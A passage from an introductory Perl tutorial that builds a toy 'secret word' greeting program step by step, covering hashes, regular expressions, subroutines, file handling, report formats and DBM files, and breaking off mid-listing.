First, we define the secret word by putting it into another scalar variable, $secretword. After the greeting, the (non-Erik) person is asked (with another print) for the guess. The guess is compared with the secret word using the ne operator, which returns true if the strings are not equal (ne is the logical opposite of the eq operator). The result of the comparison controls a while loop, which executes the block as long as the comparison is true.

Of course, this program is not very secure, because anyone who is tired of guessing can merely interrupt the program and get back to the prompt, or even look at the source to determine the word. But, we weren't trying to write a security system, just an example for this book.

1.6.5 More than One Secret Word

Let's see how we can modify this program to allow more than one valid secret word. Using what we've already seen, we could compare the guess repeatedly against a series of good answers stored in separate scalar variables. However, such a list would be hard to modify or read in from a file or compute based on the day of the week.

A better solution is to store all of the possible answers in a data structure called a list, or (preferrably) an array. Each element of the array is a separate scalar variable that can be independently set or accessed. The entire array can also be given a value in one fell swoop. We can assign a value to the entire array named @words so that it contains three possible good passwords:

@words = ("camel","gecko","alpaca");

Array variable names begin with @, so they are distinct from scalar variable names. Another way to write this so that we don't have to put all those quotemarks there is with the qw() syntax, like so:

@words = qw(camel gecko alpaca);

These mean exactly the same thing; the qw makes it as if we had quoted each of three strings.

After the array is assigned, we can access each element by using a subscript reference (subscripts start at zero). So, $words[0] is camel, $words[1] is gecko, and $words[2] is alpaca. The subscript can be an expression as well, so if we set $i to 2, then $words[$i] is alpaca. (Subscript references start with $ rather than @, because they refer to a single element of the array rather than the whole array.) Going back to our previous example:

@words = qw(camel gecko alpaca);
print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name eq "Erik") {
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    $i = 0; # try this word first
    $correct = "maybe"; # is the guess correct or not?
    while ($correct eq "maybe") { # keep checking til we know
        if ($words[$i] eq $guess) { # right?
        $correct = "yes"; # yes!
    } elsif ($i < 2) { # more words to look at?
        $i = $i + 1; # look at the next word next time
    } else { # no more words, must be bad
        print "Wrong, try again. What is the secret word?";
        $guess = <STDIN>;
        chomp ($guess);
        $i = 0; # start checking at the first word again
    }
  } # end of while not correct
} # end of "not Erik"

You'll notice we're using the scalar variable $correct to indicate that we are either still looking for a good password, or that we've found one.

This program also shows the elsif block of the if-then-else statement. This exact construct is not present in all programming languages - it's an abbreviation of the else block together with a new if condition, but it does not nest inside yet another pair of curly braces. It's a very Perl-like thing to compare a set of conditions in a cascaded if-elsif-elsif-elsif-else chain. Perl doesn't really have the equivalent of C's switch or Pascal's case statement, although you can build one yourself without too much trouble. See Chapter 2 of Programming Perl or the perlsyn documentation for details.

1.6.6 Giving Each Person a Different Secret Word

In the previous program, any person who comes along could guess any of the three words and be successful. If we want the secret word to be different for each person, we'll need a table that matches people with words. Table 1.1 does just this.

Table 1.1: Matching Persons to Secret Words
Person | Secret Word
Fred | camel
Barney | gecko
Betty | alpaca
Wilma | alpaca

Notice that both Betty and Wilma have the same secret word. This is fine.

The easiest way to store such a table in Perl is with a hash. Each element of the hash holds a separate scalar value (just like the other type of array), but each hash is referenced by a key, which can be any scalar value (any string or number, including noninteger and negative values). To create a hash called %words (notice the use of %, rather than @) with the keys and values given in Table 1.1, we assign a value to %words (much as we did earlier with the array):

%words = qw(
  fred    camel
  barney  gecko
  betty   alpaca
  wilma   alpaca
);

Each pair of values in the list represents one key and its corresponding value in the hash. Note that we broke this assignment over many lines without any sort of line continuation character. We could do so because whitespace is generally insignificant in a Perl program.

To find the secret word for Betty, we need to use Betty as the key in a reference to the hash %words, via some expression such as $words{"betty"}. The value of this reference is alpaca, similar to what we had before with the other array. Also, as before, the key can be any expression, so setting $person to betty and evaluating $words{$person} gives alpaca as well.

Putting all this together, we get a program like this:

%words = qw(
    fred      camel
    barney    gecko
    betty     alpaca
    wilma     alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name eq "Erik") {
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    $secretword = $words{$name}; # get the secret word
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}

Note the lookup of the secret word. If the name is not found, the value of $secretword will be an empty string,[9] which we can then check for if we want to define a default secret word for everyone else. Here's how that process looks:

[9] Well, OK, the value is really the undef value, but it looks like an empty string to the eq operator. You'd get a warning about this value if you used -w on the command line, which is why we omitted it here.

[... rest of program deleted ...]
  $secretword = $words{$name}; # get the secret word
  if ($secretword eq "") { # oops, not found
      $secretword = "groucho"; # sure, why a duck?
  }
  print "What is the secret word? ";
[... rest of program deleted ...]

1.6.7 Handling Varying Input Formats

If we enter Erik Olson or erik rather than Erik, we're lumped in with the rest of the users, because the eq comparison requires an exact equality. Let's look at one way to handle that.

Suppose we wanted to look for any string that began with Erik, rather than just a string that was equal to Erik. We could do this with a regular expression: a template that defines a collection of strings that match. The regular expression in Perl that matches any string that begins with Erik is ^Erik. To match this against the string in $name, we use the match operator as follows:

if ($name =~ /^Erik/) {
    ## yes, it matches
} else {
    ## no, it doesn't
}

Note that the regular expression is delimited by slashes. Within the slashes, spaces and other whitespace are significant, just as they are within strings.

This addition almost meets our needs, but it doesn't handle selecting erik or rejecting eriko. To accept erik, we add the ignore-case option, a small i appended after the closing slash. To reject eriko, we add a word boundary special marker in the form of \b in the regular expression. This ensures that the character following the first k in the regular expression is not another letter. The addition also changes the regular expression to be /^erik\b/i, which means "erik at the beginning of the string, no letter or digit following, and OK to be in either case."

When this is added to the rest of the program, the final version looks like this:

%words = qw(
    fred    camel
    barney  gecko
    betty   alpaca
    wilma   alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name =~ /^erik\b/i) {
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    $secretword = $words{$name}; # get the secret word
    if ($secretword eq "") { # oops, not found
        $secretword = "groucho"; # sure, why a duck?
  }
  print "What is the secret word? ";
  $guess = <STDIN>;
  chomp ($guess);
  while ($guess ne $secretword) {
      print "Wrong, try again. What is the secret word? ";
      $guess = <STDIN>;
      chomp ($guess);
  }
}

As you can see, the program is a far cry from the simple Hello world, but it's still very small and workable, and does quite a bit for being so short. This is The Perl Way.

Perl provides nearly every regular expression feature imaginable. In addition, the way Perl handles string matching is about the fastest on the planet, so you don't lose performance. String matching in Perl often compares favorably to hand-coded C programs written specifically for the same purpose.

1.6.8 Making It Fair for the Rest

So, now we can enter Erik or erik or Erik Olson, but what about everyone else? Barney still has to say exactly barney (not even barney followed by a space).

To be fair to Barney, we need to grab the first word of whatever's entered, and then convert it to lowercase before we look up the name in the table. We do this with two operators: the substitute operator, which finds a regular expression and replaces it with a string, and the translate operator, which puts the string in lowercase.

First, we discuss the substitute operator. We want to take the contents of $name, find the first nonword character, and zap everything from there to the end of the string. /\W.*/ is the regular expression we are looking for - the \W stands for a nonword character (something besides a letter, digit, or underscore), and .* represents any characters from that point to the end of the line. Now, to zap these characters, we need to take whatever part of the string matches this regular expression and replace it with nothing:

$name =~ s/\W.*//;

We're using the same =~ operator that we did before, but now on the right we have a substitute operator: the letter s followed by a slash-delimited regular expression and string. (The string in this example is the empty string between the second and third slashes.) This operator looks and acts very much like the substitution command of various editors.

Now, to get whatever's left into lowercase, we translate the string using the tr operator.[10] This operation takes a list of characters to find, and another list of characters with which to replace them. For our example, to put the contents of $name in lowercase, we use:

[10] This method doesn't work for characters with accent marks, although the uc function would.

$name =~ tr/A-Z/a-z/;

The slashes delimit the searched-for and replacement character lists. The dash between A and Z stands for all the characters in between, so we have two lists that each contain 26 characters. When the tr operator finds a character from the string in the first list, the character is then replaced with the corresponding character in the second list. So, all uppercase A's become lowercase a's, and so on.[11]

[11] Experts will note that we could have also constructed something like s/(\S*).*/\L$1/ to do this processing in one fell swoop, but experts probably won't be reading this section.

Putting everything together results in the following:

%words = qw(
    fred    camel
    barney  gecko
    betty   alpaca
    wilma   alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
$original_name = $name; #save for greeting
$name =~ s/\W.*//; # get rid of everything after first word
$name =~ tr/A-Z/a-z/; # lowercase everything
if ($name eq "erik") { # ok to compare this way now
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $original_name!\n"; # ordinary greeting
    $secretword = $words{$name}; # get the secret word
    if ($secretword eq "") { # oops, not found
        $secretword = "groucho"; # sure, why a duck?
    }
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}

Notice how the regular expression match for Erik became a simple comparison again. After all, both Erik Olson and Erik become erik after the substitution and translation. And everyone else gets a fair ride, because Fred and Fred Flintstone both become fred, Barney Rubble and Barney, the little guy become barney, and so on.

With just a few statements, we've made the program much more user friendly. You'll find that expressing complicated string manipulation with a few keystrokes is one of Perl's many strong points.

However, hacking away at the name so that we could compare it and look it up in the table destroyed the name that was entered. So, before the program hacks on the name, it saves it in $original_name. (Like C symbols, Perl variable names consist of letters, digits, and underscores and can be of nearly unlimited length.) We can then make references to $original_name later.

Perl has many ways to monitor and mangle strings. You'll find out about most of them in Chapter 7, Regular Expressions, and Chapter 15, Other Data Transformation.

1.6.9 Making It a Bit More Modular

Now that we've added so much to the code, we have to scan through many detailed lines in order to get the overall flow of the program. What we need is to separate the high-level logic (asking for a name, looping based on entered secret words) from the details (comparing a secret word to a known good word). We might do this for clarity, or maybe because one person is writing the high-level part and another is writing (or has already written) the detailed parts.

Perl provides subroutines that have parameters and return values. A subroutine is defined once in a program, and can be invoked repeatedly from within any expression.

For our small-but-rapidly-growing program, let's create a subroutine called good_word that takes a name and a guessed word, and returns true if the word is correct, and false if not. The definition of such a subroutine looks like this:

sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//; # get rid of everything after first word
    $somename =~ tr/A-Z/a-z/; # lowercase everything
    if ($somename eq "erik") { # should not need to guess
        return 1; # return value is true
  } elsif (($words{$somename} || "groucho") eq $someguess) {
        return 1; # return value is true
  } else {
        return 0; # return value is false
  }
}

First, the definition of a subroutine consists of the reserved word sub, followed by the subroutine name, followed by a block of code (delimited by curly braces). These definitions can go anywhere in the program file, but most people put them at the end.

The first line within this particular definition is an assignment that copies the values of the two parameters of this subroutine into two local variables named $somename and $someguess. (The my() defines the two variables as private to the enclosing block - in this case, the entire subroutine - and the parameters are initially in a special local array called @_.)

The next two lines clean up the name, just like in the previous version of the program.

The if-elsif-else statement decides whether the guessed word ($someguess) is correct for the name ($somename). Erik should not make it into this subroutine, but even if it does, whatever word was guessed is OK.

A return statement can be used to make the subroutine immediately return to its caller with the supplied value. In the absence of an explicit return statement, the last expression evaluated in a subroutine is the return value. We'll see how the return value is used after we finish describing the subroutine definition.

The test for the elsif part looks a little complicated - let's break it apart:

($words{$somename} || "groucho") eq $someguess

The first thing inside the parentheses is our familiar hash lookup, yielding some value from %words based on a key of $somename. The operator between that value and the string groucho is the || (logical-or) operator similar to that used in C. If the lookup from the hash has a value (meaning that the key $somename was in the hash), the value of the expression is that value. If the key could not be found, the string groucho is used instead. This step is a very Perl-like thing to do - specify some expression, and then provide a default value using || in case the expression turns out to be false.

In any case, whether it's a value from the hash, or the default value groucho, we compare it to whatever was guessed. If the comparison is true, we return 1; otherwise, we return 0.

So, expressed as a rule, if the name is erik, or the guess matches the lookup in %words based on the name (with a default of groucho if not found), then the subroutine returns 1; otherwise, it returns 0.

Now, let's integrate all these additions with the rest of the program:

%words = qw(
    fred    camel
    barney  gecko
    betty   alpaca
    wilma   alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name =~ /^erik\b/i) { # back to the other way :-)
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
  while (! good_word($name,$guess)) {
    print "Wrong, try again. What is the secret word? ";
    $guess = <STDIN>;
    chomp $guess;
  }
}
[... insert definition of good_word() here ...]

Notice that we've gone back to the regular expression to check for Erik, because now the main program does not have to pull apart the first name and convert it to lowercase.

The big difference is the while loop containing good_word. Here, we see an invocation of the subroutine passing two parameters, $name and $guess. Within the subroutine, the value of $somename is set from the first parameter, in this case $name. Likewise, $someguess is set from the second parameter, $guess.

The value returned by the subroutine (either 1 or 0, recalling the definition given earlier) is logically inverted with the prefix ! (logical not) operator. As in C, this operator returns true if the expression following is false, and vice versa. The result of this negation controls the while loop. You can read this as "while it's not a good word..." Many well-written Perl programs read very much like English, provided you take a few liberties with either Perl or English. (But you certainly won't win a Pulitzer that way.)

Note that the subroutine assumes that the value of the %words hash is set by the main program.

Such a cavalier approach to global variables doesn't scale very well, of course. Generally speaking, variables not created with my are global to the whole program, while those my creates last only until the block in which they were declared exits. Don't worry; Perl does in fact support a rich variety of other kinds of variables, including those private to a file (or package), as well as variables private to a function that retain their values between invocations (which is what we could really use here). However, at this stage in your Perl education, explaining these variables would only complicate your life. When you're ready for such information, check out what Programming Perl has to say about scoping, subroutines, modules, and objects. Or, see the online documentation in the perlsub , perlmod , perlobj , and perltoot documentation.

1.6.10 Moving the Secret Word List into a Separate File

Suppose we wanted to share the secret word list among three programs. If we store the word list as we have done already, we will need to change all three programs when Betty decides that her secret word should be swine rather than alpaca. This change can get to be a hassle, especially considering how often Betty is likely to change her mind.

So, let's put the word list into a file, and then read the file to get the word list into the program. To do so, we need to create an I/O channel called a filehandle. Your Perl program automatically gets three filehandles called STDIN, STDOUT, and STDERR, corresponding to the three standard I/O channels in many programming environments. We've already been using the STDIN handle to read data from the person running the program. Now, we just have to get another handle attached to a file of our own choice.

Here's a small chunk of code to do that:

sub init_words {
    open (WORDSLIST, "wordslist");
    while (defined ($name = <WORDSLIST>)) {
        chomp ($name);
        $word = <WORDSLIST>;
        chomp ($word);
        $words{$name} = $word;
     }
     close (WORDSLIST);
}

We're putting this code into a subroutine so that we can keep the main part of the program uncluttered. This organization also means that at a later time (hint: after a few more revisions in this stroll), we can change where the word list is stored, or even the format of the list.

The arbitrarily chosen format of the word list is one item per line, with names and words alternating. So, for our current database, we'd have something like this:

fred
camel
barney
gecko
betty
alpaca
wilma
alpaca

The open function creates a filehandle named WORDSLIST by associating it with a file named wordslist in the current directory. Note that the filehandle doesn't have a funny character in front of it as do the three variable types. Also, filehandles are generally uppercase - although they aren't required to be - for reasons detailed later.

The while loop reads lines from the wordslist file (via the WORDSLIST filehandle) one line at a time. Each line is stored into the $name variable. When end-of-file is reached, the value returned by the <WORDSLIST> operation is the empty string,[12] which looks false to the while loop, and terminates it. That's how we get out at the end.

[12] Well, technically the value is undef again, but empty string is close enough for this discussion.

If you were running with the -w option, you would have to check that the return value read in was actually defined. The empty string returned by the <WORDSLIST> operation isn't merely empty - it's undef again. The defined function is how you test for undef when this matters. In the case of reading lines from a file, you'd test as shown:

 while ( defined ($name = <WORDSLIST>) ) {

But if you were being that careful, you'd probably also have checked to make sure that open returned a true value. You know, that's probably not a bad idea either. The built-in die function is frequently used to exit the program with an error message in case something goes wrong. We'll see an example of this function in the next revision of the program.

On the other hand, the normal case is that we've read a line (including the newline) into $name. First, off comes the newline using the chomp function. Then, we have to read the next line to get the secret word, holding it in the $word variable. This variable also gets the newline hacked off.

The final line of the while loop puts $word into %words with a key of $name, so that the rest of the program can access it later.

After the file has been read, the filehandle can be recycled with the close function. (Filehandles are automatically closed anyway when the program exits, but we're trying to be tidy. If we were really tidy, we'd even check for a true return value from close in case the disk partition which held the file went south, its network filesystem became unreachable, or a similar catastrophe occurred. Yes, these things really do happen. Murphy will always be with us.)

This subroutine definition can go after or before the other one. And, we invoke the subroutine instead of setting %words in the beginning of the program. Therefore, you could wrap up all of this as follows:

init_words();
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name =~ /^erik\b/i) { # back to the other way :-)
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while (! good_word($name,$guess)) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}
## subroutines from here down
sub init_words {
    open (WORDSLIST,"wordslist") ||
            die "can't open wordlist:$!";
    while (defined ($name = <WORDSLIST>)) {
        chomp ($name);
        $word = <WORDSLIST>;
        chomp ($word);
        $words{$name} = $word;
    }
    close (WORDSLIST);
}
sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//; # delete everything after first word
    $somename =~ tr/A-Z/a-z/; # lowercase everything
    if ($somename eq "erik") { # should not need to guess
        return 1; # return value is true
    } elsif (($words{$somename} || "groucho") eq $someguess) {
        return 1; # return value is true
    } else {
        return 0; # return value is false
    }
}

Now our program is starting to look full-grown. Notice the first executable line is an invocation of init_words(). The return value is not used in a further calculation, which is good because we didn't return anything remarkable. In this case, a true value is guaranteed (the value 1, in particular), because if the close had failed, the die would have printed a message to our STDERR error and exited the program. The die function is fully explained in Chapter 10, Filehandles and File Tests , but because the return values of anything that might fail must be checked, we'll get into the habit of using the function right from the start. The $! variable (also explained in Chapter 10) contains the system error message explaining why the system call failed.

The open function is also used to open files for output, or open programs as files (demonstrated shortly). The full scoop on open comes much later in this book, however, in Chapter 10.

1.6.11 Ensuring a Modest Amount of Security

"That secret word list has got to change at least once a week!" cries the Chief Director of Secret Word Lists. Well, we can't force the list to be different, but we can at least issue a warning if the secret word list has not been modified in more than a week.

The best place for handling this warning is the init_words() subroutine - we're already looking at the file there. The Perl operator -M returns the age in days since a file or filehandle has last been modified, so we just need to see whether this value is greater than seven for the WORDSLIST filehandle:

sub init_words {
    open (WORDSLIST,"wordslist") ||
            die "can't open wordlist:$!";
    if (-M WORDSLIST > 7.0) { # comply with bureaucratic policy
        die "Sorry, the wordslist is older than seven days.";
    }
   while (defined ($name = <WORDSLIST>)) {
       chomp ($name);
       $word = <WORDSLIST>;
      chomp ($word);
      $words{$name} = $word;
    }
    close (WORDSLIST) || die "couldn't close wordlist: $!";
}

The value of -M WORDSLIST is compared to seven, and if the value is greater, bingo, we've violated policy.

The rest of the program remains unchanged, so in the interest of saving a few trees, we won't repeat it here.

Besides getting the age of a file, we can also find out its size, access time, and everything else that an operating system maintains about a file. More information about this feature appears in Chapter 10.

1.6.12 Warning Someone When Things Go Astray

We really ought to know when someone guesses incorrectly so that we can watch for break-in attempts. If we were using a UNIX system, we would probably use the mail command to send an email message to someone about the failed attempt. However, on a Windows workstation, no standard mail [13] command exists, so we're going to log failures to a file.[14] We need only do a little work to accomplish this task. We'll add a new subroutine and modify only the good_word() subroutine (thanks to modularity), because we have all the information we need:

[13] Perl for Win32 programmers will encounter this mail comand issue frequently in scripts that they find on the Net. The solution is to use one of a number of readily available command-line mailers, or to use Perl's network interface to talk to an SMTP server directly.

[14] We could also use the Win32::EventLog module to log our warnings to the Windows NT Event Log.

sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//; # get rid of stuff after first word
    $somename =~ tr/A-Z/a-z/; # lowercase everything
    if ($somename eq "erik") { # should not need to guess
        return 1; # return value is true
    } elsif (($words{$somename}||"groucho") eq $someguess) {
        return 1; # return value is true
    } else {
        log_failure($somename, $someguess);
        return 0; # return value is false
    }
}

sub log_failure {
    my($somename,$someguess) = @_; # name the parameters
    open(LOG, ">>failures.log") || die "failures.log: $!";
    print LOG "bad news: $somename guessed $someguess\n";
    close (LOG)  || die "can't close failures.log: $!";
}

Notice the open, which has a redirection symbol (>>) in the filename. This symbol is a special indication that we are appending to a file. The next statement, a print, shows that a filehandle between the print keyword and the values to be printed selects that filehandle for output, rather than STDOUT.[15] This means that the message will be written to the output file that we've opened. Finally, we close the filehandle.

[15] Well, technically, the currently selected filehandle. That's covered much later, though.

1.6.13 Many Secret Word Files in the Current Directory

Let's change the definition of the secret word filename slightly. Instead of just the file named wordslist, let's look for anything in the current directory that ends in .sec. At the command prompt, we say:

> dir /B *.sec

to get a brief listing of all of these names. As you'll see in a moment, Perl uses a similar wildcard name syntax.

Pulling out the init_words() definition again:

sub init_words {
    while (defined ($filename = glob("*.sec")) ) {
        open (WORDSLIST, $filename) ||
                die "can't open $filename:$!";
        if (-M WORDSLIST <= 7.0) {
            while (defined ($name = <WORDSLIST>)) {
                chomp ($name);
                $word = <WORDSLIST>;
                chomp ($word);
                $words{$name} = $word;
             }
        }
    close (WORDSLIST) || die "couldn't close $filename: $!";
    }
}

First, I've wrapped a new while loop around the bulk of the routine from the previous version. The new thing here is the glob function. This is called a filename glob[16] for historical reasons. The function works much like <STDIN>, in that each time it is accessed, it returns the next value: successive filenames that match the pattern, in this case *.sec. When there are no additional filenames to be returned, the filename glob returns an empty string.[17] In Perl on Windows systems, filename globbing[18] is implemented by means of another program, called PerlGlob.exe, which must be somewhere in your search path (this should usually be the case, because PerlGlob.exe is installed in the same directory as your Perl interpreter by default).

[16] Glob might be a new word to Win32 programmers. We'll talk much more about globbing in Chapter 12, Directory Access.

[17] Yeah, yeah, undef again.

[18] If you're using the ISAPI version of Perl, you'll have better luck if you avoid file globbing altogether and use the following equivalent technique:

opendir(DIR, `.');
@files = grep(/\.sec$/, readdir(DIR));
closedir DIR;

This method leaves you with a list (@files) of all filenames in the current directory that contain the .sec pattern. We'll provide more information on this later.

So, if the current directory contains fred.sec and barney.sec, then $filename is barney.sec on the first pass through the while loop (the names come out in alphabetically sorted order). On the second pass, $filename is fred.sec. And there is no third pass because the glob returns an empty string the third time it is called, perceived by the while loop to be a false, causing an exit from the subroutine.

Within the while loop, we open the file and verify that it is recent enough (less than seven days since the last modification). For the recent-enough files, we scan through as before.

Note that if there are no files that match *.sec and are less than seven days old, the subroutine will exit without having set any secret words into the %words array. In such a case, everyone must use the word groucho. Oh well. (For real code, we would have added some check on the number of entries in %words before returning, and die'd if the check wasn't good. See the keys function when we get to hashes in Chapter 5, Hashes.)

1.6.14 Listing the Secret Words

Well, the Chief Director of Secret Word Lists wants a report of all the secret words currently in use, and how old they are. If we set aside the secret word program for a moment, we'll have time to write a reporting program for the Director.

First, let's get all of the secret words, by stealing some code from the init_words() subroutine:

while ( defined ($filename = glob("*.sec")) ) {
    open (WORDSLIST, $filename) ||
            die "can't open $filename: $!";
    if (-M WORDSLIST <= 7.0) {
        while (defined ($name = <WORDSLIST>) {
            chomp ($name);
            $word = <WORDSLIST>;
            chomp ($word);
            ### new stuff will go here
        }
    }
    close (WORDSLIST) || die "couldn't close $filename: $!";
}

At the point marked "new stuff will go here," we know three things: the name of the file ($filename), someone's name ($name), and that person's secret word ($word). Here's a place to use Perl's report generating tools. We define a format somewhere in the program (usually near the end, like a subroutine):

format STDOUT =
@<<<<<<<<<<<<<<< @<<<<<<<<< @<<<<<<<<<<<
$filename, $name, $word
.

The format definition begins with format STDOUT =, and ends with a single period. The other two lines comprise the format itself. The first line of this format is a field definition line that specifies the number, length, and type of the fields. For this format, we have three fields. The line following a field definition line is always a field value line. The value line gives a list of expressions that will be evaluated when this format is used, and the results of those expressions will be plugged into the fields defined in the previous line.

We invoke this format with the write function, as shown:

while ( defined($filename = glob("*.sec")) ) {
    open (WORDSLIST, $filename) ||
            die "can't open $filename: $!";
    if (-M WORDSLIST <= 7.0) {
        while (defined ($name = <WORDSLIST>) {
            chomp ($name);
            $word = <WORDSLIST>;
            chomp ($word);
            write; # invoke format STDOUT to STDOUT
        }
    }
    close (WORDSLIST) || die "couldn't close $filename: $!";
}
format STDOUT =
@<<<<<<<<<<<<<<< @<<<<<<<<< @<<<<<<<<<<<
$filename, $name, $word
.

When the format is invoked, Perl evaluates the field expressions and generates a line that it sends to the STDOUT filehandle. Because write is invoked once each time through the loop, we'll get a series of lines with text in columns, one line for each secret word entry.

Hmm. We haven't labeled the columns. That's easy enough. We just need to add a top-of-page format, as shown:

format STDOUT_TOP =
Page @<<
$%

Filename         Name       Word
================ ========== ============
.

This format is named STDOUT_TOP, and will be used initially at the first invocation of the STDOUT format, and again every time 60 lines of output to STDOUT have been generated. These column headings line up with the columns from the STDOUT format, so everything comes out tidy.

The first line of this format shows some constant text (Page) along with a three-character field definition. The following line is a field value line, which in this case has one expression. This expression is the $% variable,[19] which holds the number of pages printed - a very useful value in top-of-page formats.

[19] More mnemonic aliases for these predefined scalar variables are available via the English module, which provides English names for Perl's special variables.

The third line of the format is blank. Because this line does not contain any fields, the line following it is not a field value line. This blank line is copied directly to the output, creating a blank line between the page number and the column headers below.

The last two lines of the format also contain no fields, so they are copied as-is, directly to the output. So this format generates four lines, one of which has a part that changes from page to page.

Just tack this definition onto the previous program to get it to work. Perl notices the top-of-page format automatically.

Perl also has fields that are centered or right justified, and supports a filled paragraph area as well. More on these features when we get to formats in Chapter 11, Formats.

1.6.15 Making Those Old Word Lists More Noticeable

As we are scanning through the *.sec files in the current directory, we may find files that are too old. So far, we are simply skipping over those files. Let's go one step more - we'll rename them to *.sec.old so that a directory listing will quickly show us which files are too old, simply by name.

Here's how the init_words() subroutine looks with this modification:

sub init_words {
    while ( defined($filename = glob("*.sec")) ) {
        open (WORDSLIST, $filename) ||
                die "can't open $filename: $!";
        if (-M WORDSLIST <= 7.0) {
            while (defined ($name = <WORDSLIST>)) {
                chomp ($name);
                $word = <WORDSLIST>;
                chomp ($word);
                $words{$name} = $word;
            }
            close (WORDSLIST) ||
                    die "can't close $filename: $!";
        }
        else {
            # must close file before renaming it
            close (WORDSLIST) ||
                    die "can't close $filename.old: $!"
            rename ($filename,"$filename.old") ||
                    die "can't rename $filename: $!";
        }
    }
}

Notice the new else part of the file age check. If the file is older than seven days, it gets renamed with the rename function. This function takes two parameters, renaming the file named by the first parameter to the name given in the second parameter.

Perl has a complete range of file manipulation operators - nearly anything you can do to a file from a C program, you can also do from Perl.

1.6.16 Maintaining a Last-Good-Guess Database

Let's keep track of when the most recent correct guess has been made for each user. One data structure that might seem to work at first glance is a hash. For example, the statement:

$last_good{$name} = time;

assigns the current time in internal format (some large integer above 800 million, incrementing one number per second) to an element of %last_good that has the name for a key. Over time, this method would seem to give us a database indicating the most recent time the secret word was guessed properly for each of the users who had invoked the program.

But, the hash doesn't have an existence between invocations of the program. Each time the program is invoked, a new hash is formed, so at most, we create a one-element hash and then immediately forget it when the program exits.

The dbmopen function[20] maps a hash out into a disk file (actually a pair of disk files) known as a DBM. It's used like this:

[20] On a specific database, use the more low-level tie function, as detailed in Chapters 5 and 7 of Programming Perl, or in the perltie documentation.

dbmopen (%last_good,"lastdb",0666) ||
               die "can't dbmopen lastdb: $!";
$last_good{$name} = time;
dbmclose (%last_good) || die "can't dbmclose lastdb: $!";

The first statement performs the mapping, using the disk filenames of lastdb.dir and lastdb.pag (these names are the normal names for a DBM called lastdb). Showing Perl's UNIX heritage, dbmopen takes an octal file permission mask as the third argument. Although all Windows filesystems support file attributes of some sort, they are largely incompatible with the UNIX filesystem scheme used by Perl. The UNIX file permissions used for these two files, if the files must be created (as they will the first time through), is 0666. This mode means that anyone can read or write the files. This mode is usually the one that you want to use when working with files with read/write attributes.[21]

[21] The Win32::File module provides additional features for setting file attributes. We'll discuss those features in more detail in Chapter 13, File and Directory Manipulation.

The Perl file permission value is composed of a series of bits with read, write, and execute privileges for the user, the user's group, and everyone else. Traditionally, FAT filesystems only keep track of read and write privileges for the user, along with a few other tidbits of information, like whether the file is a hidden or a system file. We'll discuss file permissions and attributes in detail in Chapter 13. For now, just trust us that you want to use 0666 for creating DBM files.

The second statement shows that we use this mapped hash just like a normal hash. However, creating or updating an element of the hash automatically updates the disk files that form the DBM. And, when the hash is later accessed, the values within the hash come directly from the disk image. This gives the hash a life beyond the current invocation of the program - a persistence of its own.

The third statement disconnects the hash from the DBM, much like a file close operation.

You can insert these three statements just ahead of the subroutine definitions.

Although the inserted statements maintain the database adequately (and even create the database initially), we don't have any way of examining the information yet. To do so, we can create a separate little program that looks something like this:

dbmopen (%last_good,"lastdb",0666) ||
                 die "can't dbmopen lastdb: $!";
foreach $name (sort keys %last_good) {
    $when = $last_good{$name};
     $hours = (time - $when) / 3600; # compute hours ago
     write;
}

format STDOUT =
User @<<<<<<<<<<<: last correct guess was @<<< hours ago.
$name, $hours
.

We've got a few new operations here: a foreach loop, sorting a list, and getting the keys of an hash.

First, the keys function takes a hash name as an argument and returns a list of all the keys of that hash in some unspecified order. For the %words hash defined earlier, the result is something like fred, barney, betty, wilma, in some unspecified order. For the %last_good hash, the result will be a list of all users who have guessed their own secret word successfully.

The sort function sorts the list alphabetically (just like passing a text file through the sort command). This function makes sure that the list processed by the foreach statement is always in alphabetical order.

The Perl foreach statement takes a list of values and assigns each one in turn to a scalar variable (here, $name), executing the body of the loop (a block) once for each value. So, for five names in the %last_good list, we get five passes through the loop, with $name being a different value each time.

The body of the foreach loop loads up a couple of variables used within the STDOUT format, and then invokes the format. Note that we figure out the age of the entry by subtracting the stored system time (in the array) from the current time (as returned by time), and then divide that by 3600 (to convert seconds to hours).

Perl also provides easy ways to create and maintain text-oriented databases and fixed-length-record databases. These databases are described in Chapter 17, Database Manipulation.

1.6.17 The Final Programs

Here are the programs from this stroll in their final form so that you can play with them.

First, the "say hello" program:

init_words();
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name =~ /^erik\b/i) { # back to the other way :-)
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
     chomp ($guess);
     while (! good_word($name,$guess)) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
     }
}
dbmopen (%last_good,"lastdb",0666) ||
